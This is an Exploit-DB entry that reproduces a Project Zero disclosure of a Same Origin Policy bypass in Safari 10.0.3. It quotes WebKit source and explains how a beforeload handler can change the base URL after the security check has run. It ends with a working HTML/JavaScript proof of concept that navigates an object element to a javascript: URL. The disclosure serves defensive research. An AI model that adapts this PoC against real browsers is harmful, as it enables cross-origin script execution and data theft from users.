EDB-ID: 42069 | Author: Google Security Research | Published: 2017-05-25 | CVE: N/A | Type: Webapps | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: Cross-Site Scripting (XSS) | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.
Here's some snippets of the logic.
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
...
String url = this->url();
...
if (!allowedToLoadFrameURL(url))
return;
...
bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
...
bool success = beforeLoadAllowedLoad && hasValidClassId();
if (success)
success = requestObject(url, serviceType, paramNames, paramValues);
...
}
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
URL completeURL = document().completeURL(url);
if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
return false;
return document().frame()->isURLAllowed(completeURL);
}
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
if (m_pluginReplacement)
return true;
URL completedURL;
if (!url.isEmpty())
completedURL = document().completeURL(url);
ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
if (!replacement || !replacement->isEnabledBySettings(document().settings()))
return false;
LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());
m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
setDisplayState(PreparingPluginReplacement);
return true;
}
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.
Tested on Safari 10.0.3(12602.4.8).
PoC:
-->
<html>
<head>
</head>
<body>
<script>
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
o.onload = null;
o.onbeforeload = () => {
o.onbeforeload = null;
let b = document.head.appendChild(document.createElement('base'));
b.href = 'javascript:///%0aalert(location);//';
};
o.data = 'xxxxx';
};
o.type = 'text/html';
o.data = 'https://abc.xyz/';
</script>
</body>
</html>
